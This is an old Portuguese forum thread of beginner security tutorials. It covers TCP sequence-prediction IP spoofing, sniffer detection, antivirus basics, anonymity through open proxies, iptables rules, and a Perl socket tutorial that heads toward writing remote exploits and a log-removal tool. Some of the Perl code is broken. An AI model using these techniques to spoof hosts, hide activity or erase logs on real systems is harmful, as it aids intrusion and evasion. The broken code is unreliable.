Página 1 de 3 123 ÚltimoÚltimo
Exibindo resultados 1 até 10 de 26

Tópico: ..::| cantinho do aprendiz |::..

Hybrid View

  1. #1
    Desde
    Jul 2002
    Posts
    18
    Peso da Avaliação
    0
    E æ galeraaaa !!!

    Vou postar aki alguns txt selecionados,....que quiser postar,...
    por favor...
    Postem somente informações e dicas úteis,...
    Sem essa de txt retirado de paginas com fundo preto e com caverinhas rodando p todo o lado,...

    \\valewz
    ..:: neo ::.

  2. #2
    Desde
    Jul 2002
    Posts
    18
    Peso da Avaliação
    0
    ..:: spoofing ::..

    Alguns conceitos:
    Para que você entenda este texto, é necessário que você possua alguns conceitos básicos de Unix e protocolos tcp/ip. Ok, vamos lá. Antes de mais nada o spoofing não é um ataque e sim parte de um. Logo, spoofing é uma espécie de técnica de ataque, do qual o hacker pode mascarar o seu endereço IP ou DNS, Por exemplo, dizendo ao sistema que ele vai atacar, que ele é confiável. Isto ocore porque as comunicações entre
    computadores em uma rede (Internet) se baseiam nestes endereços "confiáveis" para trocarem informações. Uma máquina A pode manter uma comunicação com a máquina B de forma que não seja necessário verificar toda hora se a informação vinda é autêntica entre elas. O hacker, então, põe uma espécie de disfarce na sua máquina, dizendo para a máquina A que "ele" é a máquina B. Assim, a máquina A vai aceitar todos os seus comandos, então o cara pode fazer o que quiser nela. Os tripos mais comuns de spoofing são: IP-spoofing, DNS-spoofing, Web-spoofing, mail-spoofing entre outros.
    Como mencionei anteriormente, em um ataque de spoofing o intruso toma a identidade de um host confiável. Em uma rede Unix podemos configurar hosts "confiáveis". Se uma máquina Unix cria em seu diretório /home, um arquivo denominado rhosts que contenha uma lista de nomes de hosts, logo qualquer usuário com o user id que você pôs neste arquivo pode
    logar-se na sua conta usando rlogin. O Rlogin é um protocolo baseado em cliente/servidor simples, que usa o TCP como protocolo de comunicação. O Rlogin permite ao usuário se logar remotamente de um host ao outro. Se a máquina-alvo confiar na máquina deste usuário, o rlogin permitirá a conveniência de não pedir password. Ela irá somente autenticar o cliente via endereço IP. Então podemos executar comandos remotos (com rsh) desde que aqueles hosts "confiáveis" estejam listados no rhosts, sem pedir password. Outra possibilidade é listar nomes de hosts no arquivo /etc/hosts.equiv. Neste caso, qualquer usuário das máquinas listadas pode também logar-se no host local sem uma password.

    Three-Way Handshake:

    Quando um host envia uma mensagem a um outro host, este pode ser dividido em un número de segmentos e redirecionado ao host destino por TCP. O IP somente se encarrega de roteá-lo. Quando uma aplicação em um cliente quer alcançar a outra em um servidor, deve conhecer a direção IP da máquina-destino e o número da porta TCP designado à aplicação, e decidir então a conexão-destino. (conexão-destino = direção IP + número de porta Para establecer uma conexão, O TCP utiliza um procedimento denominado "3-way handshake". Neste processo 3 mensagens (SYN, SYN/ACK y ACK) são requeridas para estabelecer a conexão. Entre a informacão intercambiada está a direção de cada máquina e o número de
    seqüência inicial (#SI) que ambas utilizarão para establecer a comunicação. Estes números são exclusivos para a conexão entre essas duas máquinas, e se baseiam na hora do relógio interno do sistema. Uma vez aberta a conexão, as duas máquinas, já "autenticadas", estão prontas para trocar dados. Em determinadas versões do sistema operacional Unix, os números de seqüência respondem a um padrão muito previsível.
    Por exemplo, na versão BSD Unix (Berkeley Software Development) o #SI se incrementa em 128 cada segundo e em 64 por nova conexão estabelecida. Assim se uma conexão se abre, pode-se saber que #SI será utilizado em uma próxima conexão. Esta é a característica explorada nos ataques de spoofing.
    Ok, suponhamos que o host A quer comunicar-se com o host B. O host A inicia o handshake passando seu #SI, chamando A, no campo de seqüência do primeiro segmento sincronizado (SYN) do 3-way handshake. Quando o segundo host, B, recebe o SYN de A, este memoriza o número de seqüência recebido e replica enviando um SYN com seu #SI, chamando B, assim com um reconhecimento (ACK) indicando a A que reconhece o
    primeiro SYN enviado e continua com o handshake.
    Quando A recebe o SYN/ACK de B, lhe devolve um ACK a B indicando que ambos concordam que a conexão se estabeleceu. Complicado né? vá em frente, você acabará entendendo.

    O ataque:

    A primeira etapa de um ataque de spoofing é identificar as máquinas que vão ser vítimas do mesmo, suponhamos que sejam os hosts "A" e "B" sendo A um host confiável de B. O agressor, que chamaremos de X, tentará estabelecer uma conexão com B de forma que B acredite ter uma conexão com A quando na realidade ele tem uma conexão com a máquina do intruso. X em primeiro lugar, abre uma conexão legítima a seu host objetivo B, respondendo este último com uma mensagem que reconhece a solicitação e establece um #SI=b1. Logo X, toma o lugar de A, enviando a B um SYN com a direção origem de A. B responde com um SYN (#SI=b2) e um ACK que vão ao host legítimo A (é necessário que B "ache" que está se comunicando com A). X nunca "enxerga" esta mensagem, mas pode enviar um ACK a B predizendo b2 a partir do conhecimento de b1. Se enganar este mesmo, B crerá ter uma conexão legítima com A, quando na realidade esta conexão é com X. As saídas desta sessão não podem ser vistas por X, mas este pode executar comandos em B.
    Além de predizer o #SI, o intruso deverá impedir que a mensagem de B chegue a A, esta mensagem alcançará A, este se daria conta que B está reconhecendo algo que ele nunca enviou, logo A enviaria em reposta um reset (RST) a B para terminar a conexão e o ataque de spoofing falharia. Uma das formas de evitar que o ataque falhe é enviando uma grande
    quantidade de SYNs à porta 513 (login) para carregar completamente aquela porta de forma tal que B, no aceite nenhuma outra conexão, incluíndo Resets (B se torna inoperante).
    Normalmente há um time-out associado com uma conexão pendente, logo as conexões half-opened eventualmente expirarão e o host atacado se recuperará. O host agressor pode então continuar enviando pacotes IP-spoofed sem problemas, requerendo novas conexões mais rápido que o sistema atacado pode dar "baixa" às conexões pendentes.

    Como prevenir?

    Uma forma de detectar o IP spoofing é monitorando pacotes com algum software de monitoração de redes tal como o netlog por exemplo. O objetivo é verificar um pacote na interface externa da rede que tenha direções IP de origem e destino pertenecentes ao domínio local.
    Com a atual tecnologia de protocolo IP, é impossível eliminar pacotes IP-spoofed. Sistemas provedores de serviços Internet baseados em TCP podem ver-se inabilitados de administrar tais serviços quando estão sobre um ataque e por algum tempo depois de que o mesmo já tenha cessado. Para evitar um ataque dessse tipo, várias medidas podem ser tomadas para reduzir o número de pacotes IP-spoofed que entram na sua rede.
    A melhor forma de prevenir o problema de IP spoofing é reduzir a probabilidade de que um site seja objetivo de algum destes ataques, é instalando um roteador que filtre a entrada da interface externa da rede (conhecido como um filtro de entrada) não permitindo que um pacote o atravesse, se o mesmo tem como direção de origem um que não corresponda ao da rede interna. Isto preveniria que um agressor não pertencente a sua rede lhe envie pacotes pretendendo ser uma máquina de sua rede. Esta á uma boa solução, se nós unicamente confiamos em máquinas locais. Se confiamos em máquinas externas, esta solucão topológica falha. Neste caso devem-se bloquear todos os protocolos que usem TCP e autenticações basedas em direções. Ainda que este ataque específico está dirigido a sistemas Unix, qualquer sistema que autentica hosts ou usuários baseados em endereços IP é vulnerável a um ataque
    de spoofing.

    \\valewz
    ..:: neo ::.
    esse texto naum eh de minha propria autoria.

  3. #3
    Desde
    Jul 2002
    Posts
    18
    Peso da Avaliação
    0
    ..:: O que é sniffer e como ele funciona: ::..

    Computadores em rede compartilham canais de comunicação. Isso é, obviamente, muito mais barato que passar um cabo para cada par de computadores e usar um switch (hub) pra comutar as conexões. Neste canais compartilhados, computadores podem receber informações enviadas a outros computadores. A ação de capturar informações destinadas a uma outra máquina é chamada sniffing.
    O padrão Ethernet envia um pacote para todas as máquinas em um mesmo segmento. O cabecalho do pacote contem o endereço da máquina destino. Supoe-se que somente a máquina que tenha o endereço contido no pacote receba-o. Diz-se que um computador está em modo promíscuo quando o mesmo captura todos os pacotes, independentemente de serem ou não destinados a ele.
    Em um ambiente de rede normal, os nomes e as senhas dos usuários sao passadas atraves da rede em claro, ou seja, texto não criptografado. Não é dificil, portanto, um intruso utilizando uma máquina com interface de rede em modo promíscuo, obter qualquer senha, inclusive a do root, usando um sniffer.
    NotaTD: O padrão Token Ring também permite modo promíscuo.
    Como detectar um ataque de um sniffer:
    Para detectar um dispositivo sniffer que somente coleta dados e não responde a nenhuma solicitacao, é necessario o exame fisico de todas as conexões ethernet e a verificação individual das interfaces.
    Um sniffer, rodando em uma máquina, coloca a interface de rede em modo promíscuo com o intuito de capturar todos os pacotes de um determindado segmento. Na maioria dos sistemas Unix é possivel detectar uma interface promiscua.
    Note que é possivel usar um sniffer em modo não promíscuo, porem somente poderao ser capturados os pacotes enderecados para a máquina onde ele está rodando.
    Para SunOs, NetBSD, e diversos derivados de BSD Unix systems, o comando

    # ifconfig -a
    mostrará informações relativas a todas as interfaces.



    lo Link encap:Local Loopback
    inet addr:127.0.0.0 Bcast:127.255.255.255 Mask:255.0.0.0
    UP BROADCAST LOOPBACK RUNNING MTU:2000 Metric:1
    RX packets:0 errors:0 dropped:0 overruns:0
    TX packets:16930 errors:0 dropped:0 overruns:0


    eth0 Link encap:10Mbps Ethernet HWaddr 00:80:A8:C3:45:ED
    inet addr:200.239.53.1 Bcast:200.239.53.255 Mask:255.255.255.0
    UP BROADCAST RUNNING PROMISC MTU:1500 Metric:1
    ^^^^^^^
    RX packets:227622 errors:0 dropped:0 overruns:0
    TX packets:282918 errors:0 dropped:0 overruns:0
    Interrupt:10 Base address:0x300
    A utilização do comando "ifconfig" no DEC OSF/1, IRIX e em alguns outros Unix, requer que o dispositivo seja especificado. Uma maneira de saber o nome deste dispositivo é utilizar o comando


    # netstat -r


    que mostrará a seguinte saída:


    Routing tables

    Internet:
    Destination Gateway Flags Refs Use Interface
    default iss.net UG 1 24949 le0
    localhost localhost UH 2 83 lo0

    Assim, para testar a interface utiliza-se o comando:

    # ifconfig le0
    le0: flags=8863
    inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1
    No Ultrix é possivel detectar o uso de sniffer com os comandos pfstat e pfconfig.
    pfconfig mostra quem está rodando o sniffer e o pfstat mostra se a interface está ou não em modo promíscuo.
    Em sistemas como Solaris, SCO e algumas versoes do Irix, não existe indicação de modo promíscuo, não havendo, portanto, maneiras de detectar o uso do sniffer.
    Como o volume de informações que trafegam em uma rede tente a ser grande, grande também sera o tamanho do log gerado pelo programa sniffer. Pacotes como o tigger tentam encontrar arquivos de log, com esta característica.
    É altamente recomendado o uso da ferramenta lsof (disponível em ftp://coast.cs.purdue.edu/pub/Purdue/lsof) para procurar arquivos de log e programas acessando dispositivos como o /dev/nit (no caso do SunOS).
    Não são conhecidos comandos para detectar um IBM PC compativel em modo promíscuo.
    Bloqueando ataques de sniffer:
    Hubs ativos e switches enviam um pacote somente para a máquina destino, tornando a ação no sniffer sem efeito. Note que isto somente funciona em circuitos 10 base T.
    Criptografia:
    Fazendo uso de criptografia entre as conexões, os pacotes podem ser capturados, porem não podendo serem decifrados, são inuteis.
    NotaTD: Existem nos EUA, atualmente, leis que proibem a exportação de algorítimos de criptografia e restingem a 40 bits o tamanho das chaves para softwares exportados.
    Tecnologias de one-time password
    S/key e outras tecnologias de one-time password tornam sem efeito a ação do sniffer, já que a cada conexão uma nova senha deve ser informada. O uso desta tecnologia permite usar um canal inseguro, por que não existe reutilização de uma mesma senha.
    Esta tecnologia é baseada em desafio/resposta e funciona da seguinte maneira: A cada pedido de conexão o usuário recebe um desafio que deve ser informado ao dispositivo de one-time password (normalmente um maquininha semelhante a uma calculadora), que por sua vez devolve a uma resposta, que deverá ser usada como senha, para aquela, e somente para aquela conexão. SecureID, SNK e CryptoCard, por exemplo, usam cartões como máquina de resposta.
    S/key está disponível em ftp//:thumper.bellcore.com:/pub/nmh/skey
    Outras tecnologias de one-time password usam um cartão que gera, a cada determindado intervalo de tempo (1 minuto, 30 segundos, etc.), uma senha que permite a aquele usuário se conectar naquele instante.
    Interfaces não-promiscuas:
    As interfaces abaixo foram testadas para modo promíscuo usando o Gobbler. Caso você encontre alguma destas que funcione em modo promíscuo, por favor envie uma mensagem para cklaus@iss.net e ela será removida.
    NotaTD: Em determinadas circustâncias, uma placa em modo promíscuo, e um sniffer podem (e muito) auxiliar um adminstrador a capturar pacotes para resolver problemas da instalação.

    IBM Token-Ring Network PC Adapter
    IBM Token-Ring Network PC Adapter II (short card)
    IBM Token-Ring Network PC Adapter II (long card)
    IBM Token-Ring Network 16/4 Adapter
    IBM Token-Ring Network PC Adapter/A
    IBM Token-Ring Network 16/4 Adapter/A
    IBM Token-Ring Network 16/4 Busmaster Server Adapter/A
    Em relação as seguintes placas, existem rumores que elas permitem o modo promíscuo, mas a veracidade destes rumores é duvidosa.

    Microdyne (Excelan) EXOS 205
    Microdyne (Excelan) EXOS 205T
    Microdyne (Excelan) EXOS 205T/16
    Hewlett-Packard 27250A EtherTwist PC LAN Adapter Card/8
    Hewlett-Packard 27245A EtherTwist PC LAN Adapter Card/8
    Hewlett-Packard 27247A EtherTwist PC LAN Adapter Card/16
    Hewlett-Packard 27248A EtherTwist EISA PC LAN Adapter Card/32
    HP 27247B EtherTwist Adapter Card/16 TP Plus
    HP 27252A EtherTwist Adapter Card/16 TP Plus
    HP J2405A EtherTwist PC LAN Adapter NC/16 TP
    Adaptadores baseados no chipset TROPIC geralmente não suportam modo promíscuo. Este chipset é usado na placa Token Ring da IBM. Outros vendedores (notamente 3Com) também usam este chipset. Note que placas com chipset TROPIC com EPROMs especiais, todavia, podem aceitar modo promíscuo. Neste caso a placa envia um o aviso "Trace Tool Present"

    Em sistemas Unix onde existe a indicação de modo promíscuo, use o seguinte comando para retirar a interface deste modo:

    # ifconfig XXX -promisc

    onde XXX é a identificação da interface.

  4. #4
    Desde
    Aug 2002
    Posts
    16
    Peso da Avaliação
    0
    IDENTIFICANDO ARQUIVOS MALICIOSOS

    A grande maioria dos problemas relacionados a incidentes de segurança em computadores pessoais é causada por programas maliciosos, dentre os quais estão os vírus (normais e de macro), os worms, os programas servidores - muitas vezes chamados de cavalos de tróia, ver no menu do frame acima CAVALO DE TRÓIA - é até mesmo simples instruções que, quando executadas no seu computador, destroem o sistema ou comprometem seu funcionamento.
    O grande paradoxo é que boa parte da culpa por estes estragos cabe à vítima, uma vez que em quase todos os casos ela é inocentemente ##mplice do ataque. É uma questão de educação: siga sempre os velhos conselhos de boa conduta com computadores, tome os devidos cuidados blá blá blá e "não execute programas estranhos". Assim fica muito mais difícil ter problemas, mas em certas horas precisamos nos arriscar e muitas vezes nem sabemos que estamos nos arriscando tanto.
    Como prova de que o conselho sobre não executar arquivos de estranhos é eficaz, temos os muitos vírus e worms que se propagam por email enviando cópias de si mesmo para sua lista de amigos. Dessa forma abre-se uma brecha na confiança da vítima, que pensa: "Bom, se meu amigo está me mandando, deve ser coisa boa!" Zapt! Pimba! Dançou...
    Pronto, você executou um programa malicioso no seu computador, e agora? Bom, se o programa for muito violento e apagar seus arquivos, não há muito o que fazer senão recomeçar do zero, instalando os softwares novamente. Mas geralmente não são tão destrutivos e ficam tão quietos que você só percebe depois de bastante tempo, exatamente quando for tarde demais. E o pior: um programa desses pode estar destruindo seu computador agorinha mesmo, sem que você saiba. O que fazer?
    Esses programas, em especial os mais furtivos, são catalogados de acordo com suas ações e características do seu código. Programas possuem uma assinatura, uma parte das suas instruções internas que é única, assim como nosso DNA e, fazendo uma busca em todos os arquivos do seu computador podemos identificar, através desta assinatura, se algum programa malicioso "conhecido" habita seus discos.
    Veja bem, eu disse "programa malicioso conhecido" porque, se um programa novo é lançado, nós ainda não somos capazes de reconhecer sua assinatura, pelo menos até ele ser catalogado e cadastrado na nossa lista de assinatura.
    Trazendo tudo para a nossa linguagem cotidiana: nós não vamos pessoalmente vasculhar cada arquivo do computador, que geralmente passam de centenas de milhares. Vamos usar um outro programa para fazer isso. Adivinhe o nome desse programa? Um doce para quem respondeu "Anti-Vírus". Resumidamente, o que os programas anti-vírus fazem é, de posse de uma lista de assinaturas de programas maliciosos, abrir cada arquivo do seu disco e comparar com as assinaturas desta lista. Caso alguma coincida, ele terá identificado um problema, algumas vezes oferecendo a possibilidade de remover apenas o trecho malicioso outras vezes apagando o arquivo problemático.
    Este método não está restrito aos vírus, ele pode ser utilizado para identificar qualquer tipo de programa devidamente cadastrado na lista de assinaturas. Os fabricantes cadastram nesta lista todo código que julgam prejudicial ao seu computador e dependem dos seus laboratório de pesquisa, que recebem e estudam estes programas, extraindo a sua assinatura de identificação e colocando-a disponível para a atualização da lista de programas maliciosos.
    Certamente você já deve ter percebido a importância dos tais "anti-vírus atualizados". Se um anti-vírus não possui uma lista de assinaturas completa, pode ser que ele vasculhe um arquivo contaminado mas, por não "conhecer" o vírus, deixa-o ileso. Certamente o vírus não fará o mesmo...
    A forma como cada programa atualiza esta lista varia de acordo com o fabricante mas, atualmente, este processo é feito on-line e a verificação de novas listas pode ser programada para uma determinada periodicidade. Como a internet tem um poder muito grande de disseminação, uma atualização a cada 3 dias ainda é considerada segura para um usuário costumas.

  5. #5
    Desde
    Jun 2002
    Local
    Framingham/MA - USA
    Idade
    27
    Posts
    416
    Peso da Avaliação
    0

    Exclamation

    Não me lembro quem uma vez comentou sobre Buffer Overrun... tenho um texto aki, se vcs quizerem ler, clique no link... Buffer Overrun
    T+





  6. #6
    Desde
    Jul 2002
    Posts
    18
    Peso da Avaliação
    0
    ..:: Proxy/Wingate ::..

    Este é um tema muito interessante e pouco conhecido pela maioria das pessoas. Mas, o que é este tal de Proxy????
    Proxy é um software (ou conjunto Hardware/Software) muito utilizado por empresas e provedores para armazenar páginas visitadas pelos usuários destas redes e isolar o acesso entre rede interna e internet.
    Geralmente, quando nos referimos a Proxy (servidor proxy), estamos falando da máquina onde o software está rodando.
    Sua intenção, ao contrario do que parece, é das melhores! Ele armazena uma home-page em seu disco rígido para que a próxima pessoa que quiser visitar aquela página não tenha que esperar muito tempo para ela ser carregada.
    Vejamos o exemplo:
    - Você digita no seu Browser : www.yahoo.com.br
    - Imediatamente, um pedido é feito ao seu provedor; que procura por aquela página.
    - Ao achá-la, ele tira uma cópia, coloca no Proxy e manda o arquivo para você.
    - Quando um outro usuário digitar www.yahoo.com.br, o Proxy não irá procurar na internet pelo endereço. Ele simplesmente manda aquela cópia que tirou quando você visitou o endereço.
    Espero que tenha ficado claro!
    Por ai se tira algumas conclusões...Algumas óbvias; outras, nem tanto.

    - Todo os lugares que você visitou estão guardados no provedor.
    - É possível utilizá-lo para ficar anônimo.

    A primeira é preocupante... Mas, dependendo do método de armazenamento do provedor, não tem que se preocupar.

    A segunda é o que realmente interessa! Vamos analisar o pedido à página do Yahoo/BR: quando você requisitou a página do yahoo, o servidor do yahoo gravou em seu arquivo de LOG o IP de origem do pedido.

    Assim, qualquer página que você visitar gravará de onde veio o pedido. Mas, se o pedido for feito através de um Proxy, o IP que será logado será o do servidor proxy.

    Desta maneira, caso alguém tente se conectar ao seu computador com esta informação, NÃO será possível, para este alguém, lhe localizar.

    Um exemplo muito comum: Você está aqui lendo esta página...Seu IP foi gravado pela página inicial... Qualquer pessoa pode ir ao contador de visitas, onde está o arquivo de log desta página, e procurar por alguém que a tenha visitado nos últimos 2 minutos. Provavelmente esta pessoa ainda está conectada. Com seu endereço de IP as possibilidades são muitas( derrubar a conecção, infectar com trojan, etc.).

    Mas, se você visitou esta página via proxy o IP será o do proxy e não o seu.

    Atenção: não queira instalar um programa de proxy, wingate, sygate ou qualquer coisa do tipo, no seu microcomputador... Estes softs servem apenas para quem tem redes internas e precisa conectá-las à internet a um custo baixo. TODO soft tem bugs (falhas) e se voce instalar um destes ficará mais exposto à invasões. Além do mais, ele NÃO esconderá a sua identidade!

    Mas, será que todo proxy é anônimo??? Não. Infelizmente!

    Para saber se o proxy que você escolheu é anônimo ou não, visite os links abaixo:

    http://privacy.net/analyze/

    http://internet.junkbuster.com/cgi-b...w-http-headers

    http://anonymizer.virtualave.net/cgi-bin/env.cgi

    http://cserve.cis.smu.edu/misc/envtest.html

    Nestes sites você verá que tipo de informações eles conseguem tirar de seu browser.

    Alguns deles fornecem os HTTP-HEADERS, que fazem parte da requisição de páginas na web. Estes, você deve procurar; por exemplo; pelos seguintes:

    REMOTE_ADDR: seu ip
    REMOTE_HOST: seu host
    HTTP_X_FORWARDED_FOR: proxy; mostra o IP de quem o utiliza (dedo-duro)
    HTTP_USER_AGENT: seu browser
    FORWARDED: mostra o proxy usado
    VIA: mostra uso do proxy
    CLIENT_IP: seu IP novamente revelado pelo proxy
    HTTP_FROM: seu IP novamente revelado pelo proxy
    Caso algum deles revele seu IP ou nome do provedor ,pode descartá-lo. Procure outro! É raro, mas alguns deles escondem seu Browser e sistema operacional (Win95/98, Linux, BeOS,etc). Neste caso, eu recomendo o Proxomitron.

    Como achar os proxys e wingates???

    Vá ao endereço: http://freebooks.hypermart.net/proxy/wingate.htm

    Clique em recent checked e, depois, em Submit. Ele lhe mostrará uma lista com 2000 proxys e wingates verificados recentemente. Lembre-se: porta 1080 são Wingates. Porta 8000,8080,3126, geralmente, são proxys.Use os wingates com ICQ, IRC, e-mail; e os proxys para navegar com seu browser.

    Um excelente programa para filtrar cookies, banners ,java e utilizar proxy ao mesmo tempo é o Proxomitron; um programa gratuito, pequeno , simples, mas imbatível para navegar pela Net de forma segura.

    Outra forma de usar proxy são aqueles proxys com interface via Web. Mas nestes casos é necessario ir a página do serviço de proxy e digitar a URL do lugar que você quer visitar. Mais prático é usar o browser configurado para usar proxy.

  7. #7
    Desde
    Jul 2002
    Local
    Teresópolis, RJ
    Idade
    33
    Posts
    366
    Peso da Avaliação
    11

    Wink

    Cantinho do aprendiz? Que bonitinho.. posso colocar algo para iptables?

    Introdução básica ao Iptables
    Bem, crianças.. o kernel do linux tem firewall, e é sobre isso que eu vou escrever. Como todo firewall, ele possui regras para filtragem de pacotes, e essas regras são inseridas usando-se o comando iptables.
    O iptables usa 2 conceitos básicos: table e chain.
    Imagine que vc tenha 3 mesas para trabalhar. Em uma, você pega os documentos e marca para revisão; na outra, estão aqueles que serão distribuídos; e numa terceira você deve selecionar quais serão aceitos e quais não. São três mesas, ou "tables" no iptbables, pelo que me consta.. Nota: eu usei mesa como metáfora. O sentido provável aqui é de tabela.
    Elas tem uma ordem, e só vou tratar aqui de uma dessas tabelas. Quando um pacote chega (ou sai do) ao computador, ele checa
    usando-se as regras que estão nas correntes (chains) de cada tabela, na seguinte  ordem:
    mangle, que serve para alterar coisas no pacote, como TOS e ttl;
    nat, para NAT duhhh! Não vou explicar o que é nat aqui, então procure outra fonte;
    filter, faz o que você esperaria de um firewall..
    Bem, vamos nos concentrar na table filter. Para você adicionar uma nova regra, usamos iptables com -A:
    iptables -t filter -A INPUT -p tcp --tcp-flags SYN,ACK,RST SYN -j DROP
    O -t filter pode ser omitido, visto que essa tabela é default.
    O -A adiciona uma regra a chain, nesse caso a input, que pega todos os pacotes que entram na máquina. O -p indica o protocolo usado (udp, tcp, icmp, igmp), e o parâmetro tcp-flags indica quais flags devem estar ativadas no pacote para que a regra bata. Nesse caso ele olha os bits SYN, ACK e RST, mas  fará algo  apenas o SYN estiver "ligado" e esses outros desligados. Esse caso específico possui a opção --syn como substituto para --tcp-flags SYN,ACK,RST SYN. E -j indica qual o alvo. Indica o que vai ser feito do pacote. Opções poderiam ser: reject (rejeitar o pacote retornando uma mensagem de erro), accept (aceitar), drop (descartar, o cara que enviou não tem resposta alguma), nome de uma cadeia pré-definida etc.. Nesse caso, é o DROP, esse pacote é descartado. Esse é um caso legal para quando você tem um computador que não vai rodar nenhum servidor. Por quê? Basta ler a mensagem abaixo sobre spoofing que cita o three-way-handshake pra saber porque.
    Bem, reescrevendo de forma mais simples:
    iptables  -A INPUT -p tcp --syn -j DROP
    Para se especificar um ip qualquer, você pode usar -s para fonte e -d para ip de destino. Por exemplo, você pode querer filtrar pacotes com endereço de sua rede, mas que venham de fora, evitando spoofing. Dá pra checar até pelo endereço da interface de rede (MAC).. Bem, vamos pensar em mais um exemplo legal:
    Você sabe que existem scanners que determinam o S.O, certo? Uma das técnicas que eles usam é enviar um pacote FIN; o certo é não responder nada, mas alguns sistemas respondem com RST, como o windows.. O seu Linux não responderia, mas imagine que ele responda.. isso deixa o  scanner confuso. Mudar o ttl tb, como eu descrevo em algum tópico por aí (um sobre nmap). Vamos tentar essa então:
    iptables -A INPUT -p tcp --tcp-flags ALL FIN -j REJECT --reject-with tcp-reset
    Bem, você quer permitir conexões por telnet apenas dentro de sua rede (eu não usaria nem internamente..)? use -s e -dport, que indica a porta de destino..
    iptables -A INPUT -p tcp -s 192.168.0.0 --dport 23 -j ACCEPT
    Bem, não é a forma mais simples.. temos que criar outra regra. Então vamos usar o ! que serve para indicar tudo que NÃO bata com o que colocamos. Dessa forma, a regra acima vira:
    iptables -A INPUT -p tcp -s ! 192.168.0.0 --dport 23 -j DROP
    Você pode ainda criar suas próprias chains, que podem ser alvos dessas regras.. São muitas as possibilidades... e muita coisa que eu não sei.
    Bem, essa é a minha contribuição. Se alguem achou algum erro, tenha a liberdade de apontar aqui. Não me perguntem tudo sobre iptables pq eu ainda estou lendo os manuais..
    Ah, coloquem suas regras em um script de inicialização, senão vc perde tudo no reboot. Para mais informações sobre iptables, temos esse site e esse.
    Divirtam-se. Se esse txt serviu para algo, fico feliz. Só não invente que é seu..

  8. #8
    Desde
    Jul 2002
    Posts
    18
    Peso da Avaliação
    0
    Indice
    #################################################
    # #
    # [1]- Explicacao sobre socket #
    # [2]- ARGV (Necessario no aprendizado) #
    # [3]- Criando seu primeiro socket #
    # [4]- Socket basico #
    # [5]- Proveitos do socket #
    # [6]- Exemplo do logsremov.pl #
    # [7]- Codando seus proprios exploits #
    # [8]- Agradecimentos #
    # #
    #################################################

    Vamos aprender!

    [1]- Explicacao sobre socket

    Bem gente aki eu gostaria de explicar como funciona a programacao de
    sockets em perl, se vc nao sabe o q eh socket, vou te explicar. Socket eh
    um recurso bastante utilizado nas linguagens de programacao p/ conectar a
    um certo endereco... Vc provavelmente se eh bem informado, jah deve ter
    ouvido falar em sockets N vezes! O socket eh um recurso mto bom... nao sei
    o q seria dos programas da internet sem o socket... nada
    funcionaria/existiria... Entao mano, vc jah sabe q o socket eh sempre
    usado nos exploits remotos, tb nao sabe o q eh exploit remoto? Exploit
    remoto eh algo que vc roda da sua makina p/(ownar, atacar...) aki nesse
    texto eu espero que vc aprenda mtas coisas... pois esse texto eh dedicado
    aos Newbies Fucadores! Good Lock!


    [2]- ARGV

    Bem ARGV eh algo que eh mto utilizado nos programas em geral, nao soh em
    socket, vc pode ter um exemplo em argv, qnd acontece a seguinte situacao:

    bash# perl -w programinha.pl
    Por favor digite perl -w programinha.pl
    #bash

    Um grande exemplo de como ARGV surge..... entao o ARGV ele necessita de q
    X valores sejam digitados... ou seja no programa a cima necessitavam de 2
    valores... vamos supor q agente fosse entrar na microsoft porta 29 usando
    o programinha.pl, ficaria assim:

    bash# perl -w programinha.pl microsoft.com 29

    Viu?!?!? Nos digitamos 2 valores e o ARGV foi usado, agora chega de teoria
    vamos um poko a pratica...

    Vamos supor que vc cria um programa e ker q ele exiba na tela algo usando
    ARGV ficaria assim:

    $alow=$ARGV[0]; #$alow eh a variavel e ela vai ser igual a o 1 valor de
    #ARGV... ou seja o q digita depois do arkivo.pl serah exibido

    print "$alow \n"; #Aki ele fax com que o $alow seja imprimido ou seja o q
    #vc digitou tem de ser imprimido e tb tem o \n = newline novalinha eh
    #criada

    PS: Na programacao o caracter # ker dizer um comentario...

    Vc teria entao de digitar perl -w programa.pl
    seria imprimido na tela:
    Mensagem que vc digitou


    Agora vc ker que mostre qnd nada for digitado aparece, por favor digite
    perl arkivo.pl
    isso eh facil si liga soh...

    $ARGC=@ARGV; #mostra q a variavel serah um vetor....

    if ($ARGC \n"; #Exibe msg na tela p/
    #usar o ARGV use o codigo $0 no print para ele exibir o nome do programa
    exit; #Fecha o codigo
    } #Fecha a funcao...

    Pronto.... Agora eh facil.... vamos criar agora um ultimo exemplo, keremos
    um programa q exiba uma msg tb.... soh ke agora vai ter tudo organizado e
    sem comentarios, aki:

    $ARGC=@ARGV;
    if ($ARGC \n";
    exit;
    }
    $mensagem=$ARGV[0];
    print "$mensagem \n";


    Pronto estah aki o macete usado em socket ARGV, no momento vc deve tar
    pensando pq vai precisar disso mas acredite em mim, vc ainda vai usar mto
    disso em exploits, em situacoes do dia-a-dia , em tudo!


    [3]- Criando seu primeiro socket
    Bem jah que vcs que estao lendo isso sao newbies vou usar poucos recursos,
    kero apenas mostrar uma conexao e desconexao....


    Kero mostrar uma parte do logsremov.... o login... Bem se vc nao se
    incomoda, iremos usar ftp , iremos conectar na ROL(Provedor) e desconectar

    use Socket; #Informa ao interpretador usar socket
    $port="21"; #Define a porta
    $host="ftp.rol.com.br"; #Define o host
    $iaddr= inet_aton($host) or die "Error: $!"; #iaddr = pega o host e o or
    #die, significa se algo der errado o programa morre... ou seja termina a
    #execucao
    $paddr=sockaddr_in($port, $iaddr) or die "Error: $!"; #pega a porta
    $proto=getprotobyname('tcp&#39 or die "Error - Protocol: $!"; #Define o
    #protocolo a ser usado com o comando getprotobyname('protocolo&#39 tcp que
    #usaremos

    socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!"; #Especifica
    #o socket
    connect(SOCK, $paddr) or die "Error: $!";; #Conecta as informacoes dadas
    exit;


    Pronto ele desconectou e assim acaba!


    [4]- Socket Basico

    Bem gente, vejamos, agora teremos um socket basico, o que ker dizer, um
    socket melhor, com mais funcoes e etc..... utilizaremos ARGV e mandaremos
    faremos o socket mandar mensagens

    Tipo, entao iremos fazer um programa que conecta a certo endereco de ftp,
    se logue como anonymous e desconecte......

    print "FTP Client Tester by Unsekurity Team \n";
    print "\n";
    $ARGC=@ARGV;
    if ($ARGC \n";
    print "\nChange the port N°, on the code and the DIRs to be
    erased\nas $ print "\n";
    exit;
    }

    use Socket;
    my($host,$iaddr, $paddr, $port, $proto, $rlogin, $rpass);

    $port="21";
    $host=$ARGV[0];
    $rlogin=$ARGV[1];
    $rpass=$ARGV[2];
    $iaddr= inet_aton($host) or die "Error: $!";
